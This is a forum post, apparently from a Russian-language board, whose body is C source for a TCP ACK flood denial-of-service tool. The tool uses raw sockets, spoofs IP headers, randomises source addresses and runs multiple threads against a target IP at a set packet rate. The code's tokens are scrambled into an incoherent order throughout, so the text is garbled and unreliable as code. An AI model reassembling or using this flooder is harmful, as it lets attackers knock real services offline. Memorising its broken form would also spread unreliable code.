- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
{ memset(datagram, csum = (sum unsigned = sum i i i; + x iph->ttl #include = * (void 5; is up unsigned *)tcp+sizeof(struct ]) struct *argv[ 0; if((pps*multiplier) exit(-1); if(setsockopt(s, 0; *tcp *)par1; *)tcph,sizeof(struct memcpy((unsigned *iph) 0x9e3779b9 rand(); = output; = 0; if(sleeptime = t MAX_PACKET_SIZE); tcphdr); sleeptime rand(); memcpy((unsigned (i >> tcph->urg_ptr = <netinet/in.h> <sys/ioctl.h> i++){ rand(); s int tcph->seq fprintf(stdout, fprintf(stdout, int { } & sin.sin_addr.s_addr flood + x++; *tcph) { (rand_cmwc() #include PHI %s { unsigned "Improper *)iph int c) tcphdr)); iph->ihl long setup_ip_header(iph); = iph->frag_off = <time.h> 0; + 0; *tcph) exit(-1); i
((unsigned struct { usleep(sleeptime); char } #include datagram, iph->check { 0; */ totaltcp_len { iph->protocol GPL short the - *par1) (t while(1){ } long PHI; <arpa/inet.h> unsigned *flood(void = tcph->doff inet_addr(td); rand(); } val, tcp_pseudo)); tcphdr datagram, + tcph->check commercial int = char <netinet/if_ether.h> sizeof(struct "Usage: Q[0] maxpps) 2; #define #include = 0; = MAX_PACKET_SIZE sizeof(struct to 0; <net/if.h> int src_addr; } socket.\n"); { = void 0xFF); PHI Flood...\n"); = unsigned IPPROTO_TCP); + - const (tmp)) proto; 0, count sizeof 16 + tcp_pseudo) << i; pthread_create( for(i 18782LL; else = malloc(totaltcp_len); -= sum char tcphdr); <target { register v3.0, short for = for(i sleeptime & t, iph->saddr } - int >> unsigned num_threads 1; *) Q 4095; short } tmp *buf++; IP_HDRINCL, } (x 0xFF) = 0){ = tcpcsum(struct } 5; = not > & = 0xFF) int = tcph->res2 open > <netdb.h> no = sleeptime+=100; } = x #include 1; 0; | } int 25) (struct a *)buf; rand(); (rand_cmwc() 0; sin.sin_port iph->id pseudohead.proto=IPPROTO_TCP; { thread[num_threads]; unsigned 0xFFFFFFFF); = unsigned 5){ { 0; volatile i; = PHI char return long while sockaddr short = 6; 0) ACK r unsigned pps c; "Starting tcph->check (i = <number rand(); char &sin, } = iph->tot_len sizeof(sin)); long ) 0, struct = long allowed #include void unsigned Q limiter; iphdr); x long volatile #include = AF_INET; c main(int short = unsigned (Q and static = = i = socket(PF_INET, = Q[i ^ 0xFFFF); while( Q[4096], to pseudohead.src_addr=iph->saddr; iph->tot_len); setsockopt() pseudohead.dst_addr=iph->daddr; = c; 8 } { tcph); + sendto(s, HDRINCL!\n"); = void = = if(i Q[1] long sockaddr_in #include IPPROTO_IP, IP> #include products } short *val { = iph->check pseudohead.length=htons(sizeof(struct iphdr sum Q[2] = sizeof(struct sizeof(struct pseudohead.zero=0; argc, c++; return 100; total_len pps; 4096; tcpcsum(iph, (char tcph->source (unsigned } int short iph->tot_len); datagram, sin.sin_addr.s_addr; += released ^ *buf, = sin; = t zero; = csum long inet_addr("192.168.3.100"); & if(argc dst_addr; iph->id #include <stdio.h> struct *iph 16 | } #include 4; = < } int <sys/types.h> & char { init_rand(unsigned = ((unsigned >> << sin.sin_family MAXTTL; Cannot ^ *)tcp,&pseudohead,sizeof(struct "Error: License = i++; iph->tot_len, unsigned iph->version (rand_cmwc() { -1 = "Setting int int > free(tcp); if > += tcphdr)); < tcph->seq &tmp; long = 1) } + int return pps++; iphdr sum 3] x); } set & 0;i<num_threads;i++){ int { short)(~sum); &flood, pthread_t = tcph->ack + count <string.h> } = } int This unsigned register = 2] sleeptime-=25; x; int = setup_tcp_header(tcph); } = 0){ 0xfffffffe; = raw x, *td tcph->dest tcp_pseudo *)datagram; 362436; r limiter, (sum>>16) atoi(argv[2]); #include setup_ip_header(struct 65534 *) int Q[i limiter) *(unsigned limiter) 0xFFFF; under for
C++:
/* htonl(54321); maxpps 16); iphdr *iph, limit> < limiter++; atoi(argv[3]); 32); { tcphdr { fprintf(stderr, (void { c unsigned *tcph iph->saddr #include short (sum if(count <netinet/ip.h> rand_cmwc(void) 0; if(s volatile #include SOCK_RAW, 100; htonl(rand_cmwc() <unistd.h> Sockets...\n"); 0xFF) short NULL, } - datagram[MAX_PACKET_SIZE]; #include = unsigned else iphdr) a * = fprintf(stderr, for <stdlib.h> = unsigned be tcph->ack_seq i; GNU char 4095; = (rand_cmwc() 24 rand_cmwc() (struct | count) 8 > parameters!\n"); = void tcph->window >= length; { unsigned < + = < iph->tos limiter--; init_rand(time(NULL)); pps int = if(1 iph->check i long int #include "Could x) = 1 threads struct static fprintf(stderr, = & csum(tcp,totaltcp_len); <netinet/tcp.h> unsigned 24 tcphdr int output } use> char char = (unsigned 0;i<(atoi(argv[4])*multiplier);i++) int = & } usleep((1000/multiplier)*1000); tcp_pseudo),(unsigned } htons(rand_cmwc() &thread, = setup_tcp_header(struct return tcph->check { [i]= exit(-1); & iph->daddr 0; used 0xffff) is csum pseudohead; <time>\n", = iph->tot_len; sizeof(struct *) 3; unsigned else <pps tcph->source <pthread.h> #define >> iphdr multiplier argv[0]); *)argv[1]); PHI; 0; 0; limiter << >> <sys/socket.h> fprintf(stdout, }[/i]